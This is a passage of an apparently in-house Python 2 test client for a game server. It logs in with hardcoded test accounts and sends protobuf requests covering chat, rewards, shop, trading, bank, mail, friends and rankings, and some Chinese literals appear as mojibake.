req.header.user = result.header.user
req.body.max_mail_id = 0
req.body.max_announcement_id = 0
client.socket.send(req.encode())
time.sleep(2)
req2 = create_client_message(SendChatReq)
req2.header.user = result.header.user
req2.body.table_id = 0
req2.body.message = u'ๅจPythonไธญไฝฟ็จprotocol buffersๅ่ๆๅ๏ผ๏ผ#๏ฟฅ%โฆโฆ&*๏ผ'
client.socket.send(req2.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def get_rewards(client,mobile,password,device_id):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
req = create_client_message(QueryRewardsReq)
req.header.user = result.header.user
client.socket.send(req.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# req2 = create_client_message(QueryRewardsResp)
# req2.header.user = result.header.user
# client.socket.send(req2.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def revice_rewards(client,mobile,password,device_id):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
req2 = create_client_message(ReceiveRewardReq)
req2.header.user = result.header.user
req2.body.reward_id = 94
client.socket.send(req2.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def get_hall_query(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(QueryHallReq)
req.header.user = result.header.user
req.body.max_mail_id = 0
req.body.max_announcement_id = 0
client.socket.send(req.encode())
req = create_client_message(QueryUserReq)
req.header.user = result.header.user
req.body.uid = result.header.user
client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def query_player(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
# print '3333333333333333333333333333333333'
# req = create_client_message(QueryHallReq)
# req.header.user = result.header.user
# req.body.max_mail_id = 0
# req.body.max_announcement_id = 0
# client.socket.send(req.encode())
req = create_client_message(QueryUserReq)
req.header.user = result.header.user
req.body.uid = 11183
client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def use_code(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
# print '3333333333333333333333333333333333'
# req = create_client_message(QueryHallReq)
# req.header.user = result.header.user
# req.body.max_mail_id = 0
# req.body.max_announcement_id = 0
# client.socket.send(req.encode())
req = create_client_message(ReceiveCodeRewardReq)
req.header.user = result.header.user
req.body.code = '0755'
client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def get_signs(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
# resp = client.normal_test_enter_server(mobile,password,device_id)
resp = client.fast_test_enter_server(device_id,'','','')
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(QueryHallReq)
req.header.user = result.header.user
req.body.max_mail_id = 0
req.body.max_announcement_id = 0
client.socket.send(req.encode())
time.sleep(1)
req = create_client_message(QuerySigninRewardReq)
req.header.user = result.header.user
client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def today_sign(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
# resp = client.normal_test_enter_server(mobile,password,device_id)
resp = client.fast_test_enter_server(device_id,'','','')
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(QueryHallReq)
req.header.user = result.header.user
req.body.max_mail_id = 0
req.body.max_announcement_id = 0
client.socket.send(req.encode())
print '444444444444444444444444444444444444444444'
time.sleep(1)
# req = create_client_message(QuerySigninRewardReq)
# req.header.user = result.header.user
# client.socket.send(req.encode())
# time.sleep(3)
print '5555555555555555555555555555555555555555555'
req = create_client_message(SigninReq)
req.header.user = result.header.user
client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def get_register_code(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
req = create_client_message(GetVerifyCodeReq)
req.header.user = -99
req.body.mobile = '17727853917'
req.body.token = '123123'
print '111111111111111111111111111111111'
client.login_socket.send(req.encode())
resp = client.get_message(client.login_socket)
print resp.body
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def get_shop_item(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(QueryShopReq)
req.header.user = result.header.user
client.socket.send(req.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def buy_shop_item(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(BuyItemReq)
req.header.user = result.header.user
req.body.shop_item_id = 3
req.body.count = 3
client.socket.send(req.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def trade_page_list(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(QueryTradeReq)
req.header.user = result.header.user
req.body.page = 1
req.body.page_size = 5
req.body.can_buy = False
req.body.my_sell = False
client.socket.send(req.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def trade_buy(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(BuyTradeReq)
req.header.user = result.header.user
req.body.trade_id = 260
client.socket.send(req.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def trade_sell(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(SellGoldReq)
req.header.user = result.header.user
req.body.gold = 1000000
req.body.diamond = 10
client.socket.send(req.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def trade_out(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(OutGoldReq)
req.header.user = result.header.user
req.body.trade_id = 49
client.socket.send(req.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def query_user_bag(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(QueryBagReq)
req.header.user = result.header.user
client.socket.send(req.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def use_user_bag(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(UseItemReq)
req.header.user = result.header.user
req.body.item_id = 4
req.body.count = 1
client.socket.send(req.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def query_bank(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(QueryBankReq)
req.header.user = result.header.user
client.socket.send(req.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def active_bank_gold(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(SaveMoneyReq)
req.header.user = result.header.user
req.body.gold = 500
client.socket.send(req.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def get_mails(client,mobile = '13412341777',password= '123456',device_id='d_9444',act = ''):
try:
MessageMapping.init()
# resp = client.normal_test_enter_server(mobile,password,device_id)
resp = client.fast_test_enter_server(device_id,'','','')
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(FetchMailReq)
req.header.user = result.header.user
req.body.max_mail_id = 0
client.socket.send(req.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def receive_mails(client,mobile = '13412341777',password= '123456',device_id='d_9444',act = ''):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(ReceiveAttachmentReq)
req.header.user = result.header.user
req.body.mail_id = 30
client.socket.send(req.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def receive_friend_message(client,mobile = '13412341777',password= '123456',device_id='d_9444',act = ''):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
time.sleep(3)
req = create_client_message(QueryHallReq)
req.header.user = result.header.user
req.body.max_mail_id = 0
req.body.max_announcement_id = 0
client.socket.send(req.encode())
print '3333333333333333333333333333333333'
time.sleep(5)
req = create_client_message(ReceiveFriendMessageReq)
req.header.user = result.header.user
req.body.message_id = 13
client.socket.send(req.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def handle_friend(client,mobile = '13412341777',password= '123456',device_id='d_9444',act = ''):
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
time.sleep(3)
req = create_client_message(HandleFriendApplyReq)
req.header.user = result.header.user
req.body.apply_id = 180
req.body.accept = True
client.socket.send(req.encode())
def send_mail(client,mobile = '13412341777',password= '123456',device_id='d_9444',act = ''):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(SendMailReq)
req.header.user = result.header.user
req.body.to = 10018
req.body.title = 'ๆต่ฏๆ ้ข'
req.body.content = 'ๆต่ฏๆญฃๆๅ
ๅฎน'
client.socket.send(req.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def get_friends(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
# resp = client.normal_test_enter_server(mobile,password,device_id)
resp = client.fast_test_enter_server('117627af0e87e92d','868586022072002','','')
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(GetFriendsReq)
req.header.user = result.header.user
req.body.page = 3
req.body.page_size = 50
client.socket.send(req.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def get_friends_apply(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(GetFriendAppliesReq)
req.header.user = result.header.user
req.body.page = 1
req.body.page_size = 10
client.socket.send(req.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def make_friends_apply(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
# resp = client.normal_test_enter_server(mobile,password,device_id)
resp = client.fast_test_enter_server(device_id,'','','')
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(MakeFriendReq)
req.header.user = result.header.user
req.body.target = 11301
req.body.message = 'xxxxxxxxxx111111111111xxxxxxxxxxxxxxxxxxx'
# gift = req.body.gifts.add()
# gift.id = 66
# gift.name = '88 flowers'
# gift.icon = '88flower'
# gift.count = 2
client.socket.send(req.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def remove_friends_apply(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(RemoveFriendMessageReq)
req.header.user = result.header.user
req.body.friend_id = 10158
client.socket.send(req.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def send_friends_message(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(SendFriendMessageReq)
req.header.user = result.header.user
req.body.friend_id = 10000
req.body.message = '88 flowers for you'
client.socket.send(req.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def get_rank(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
# // ๆ่กๆฆ็ฑปๅ
# enum RankType {
# RANK_WEALTH = 1;
# RANK_CHARGE = 2;
# RANK_CHARM = 3;
# RANK_MAKE_MONEY = 4;
# RANK_WAR = 5;
# RANK_TEXAS = 6;
# RANK_LOTTERY = 7;
# }
#
# // ๆ่กๆฆๅๆฐ
# enum RankTime{
# RANK_ALL_TIME = 0;
# RANK_YESTERDAY = 1;
# RANK_TODAY = 2;
# RANK_LAST_MONTH = 3;
# RANK_THIS_MONTH = 4;
# RANK_LAST_WEEK = 5;
# RANK_THIS_WEEK = 6;
# }
print '3333333333333333333333333333333333'
req = create_client_message(QueryRankReq)
req.header.user = result.header.user
req.body.rank_type = 7
req.body.rank_time = 1
client.socket.send(req.encode())
# // ๆ่กๆฆ็ฑปๅ
# enum RankType {
# RANK_WEALTH = 1;
# RANK_CHARGE = 2;
# RANK_CHARM = 3;
# RANK_MAKE_MONEY = 4;
# }
#
# // ๆ่กๆฆๅๆฐ
# enum RankTime{
# RANK_ALL_TIME = 0;
# RANK_YESTERDAY = 1;
# RANK_TODAY = 2;
# RANK_LAST_MONTH = 3;
# RANK_THIS_MONTH = 4;
# RANK_LAST_WEEK = 5;
# RANK_THIS_WEEK = 6;
# }
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def receive_broke(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(ReceiveBankcruptRewardReq)
req.header.user = result.header.user
client.socket.send(req.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def get_broke(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(QueryBankcruptRewardReq)
req.header.user = result.header.user
client.socket.send(req.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def upgrade_check(client,device_id,imei,imsi):
try:
MessageMapping.init()
client.setup_socket()
req = create_client_message(CheckUpgradeReq)
req.header.user = -1
req.body.version = 1
req.body.channel = 'channel1'
client.login_socket.send(req.encode())
resp = client.get_message(client.login_socket)
# self.user = resp.body.uid
return resp
except:
traceback.print_exc()
finally:
pass
def receive_table(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(ReceivePlayRewardReq)
req.header.user = result.header.user
client.socket.send(req.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def bind_mobile(client,uid,type,mobile,password):
try:
MessageMapping.init()
resp = client.fast_test_enter_server('8182c3e0943d05be','','','')
req = create_client_message(ConnectGameServerReq)
req.header.user = resp.header.user
req.body.session = resp.body.session
client.socket.send(req.encode())
resp2 = client.get_message()
print '1111111111111111111111111111111111111111111'
req2 = create_client_message(BindMobileReq)
req2.header.user = resp.header.user
req2.body.uid = 11201
req2.body.mobile = '17727853917'
req2.body.verify_code = '3822'
req2.body.bind_type = 1
req2.body.password = '123456'
client.socket.send(req2.encode())
# client.get_message()
# req2 = create_client_message(QueryUserReq)
# req2.header.user = resp2.header.user
# req2.body.uid = resp2.header.user
# client.socket.send(req2.encode())
# client.get_message()
except:
traceback.print_exc()
finally:
pass
def reset_login(client,mobile,password,verify):
try:
MessageMapping.init()
resp = client.reset_login(mobile,password,verify)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
except Exception as e:
traceback.print_exc()
finally:
pass
def get_charge(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(QueryChargeReq)
req.header.user = result.header.user
client.socket.send(req.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def get_order(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(CreateOrderReq)
req.header.user = result.header.user
req.body.shop_id = 1001
req.body.comment = 'reward_box'
client.socket.send(req.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def get_gold_top(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(QueryRankReq)
req.header.user = result.header.user
req.body.rank_type = 1
req.body.rank_time = 0
client.socket.send(req.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def get_charge_top(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(QueryRankReq)
req.header.user = result.header.user
req.body.rank_type = 2
req.body.rank_time = 2
client.socket.send(req.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def send_emoji(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(SitTableReq)
req.header.user = result.header.user
req.body.table_id = 146
req.body.table_type = 2
client.socket.send(req.encode())
time.sleep(3)
req = create_client_message(SendEmojiReq)
req.header.user = result.header.user
req.body.emoji = 'kiss'
req.body.count = 3
req.body.other = 11294
client.socket.send(req.encode())
except Exception as e:
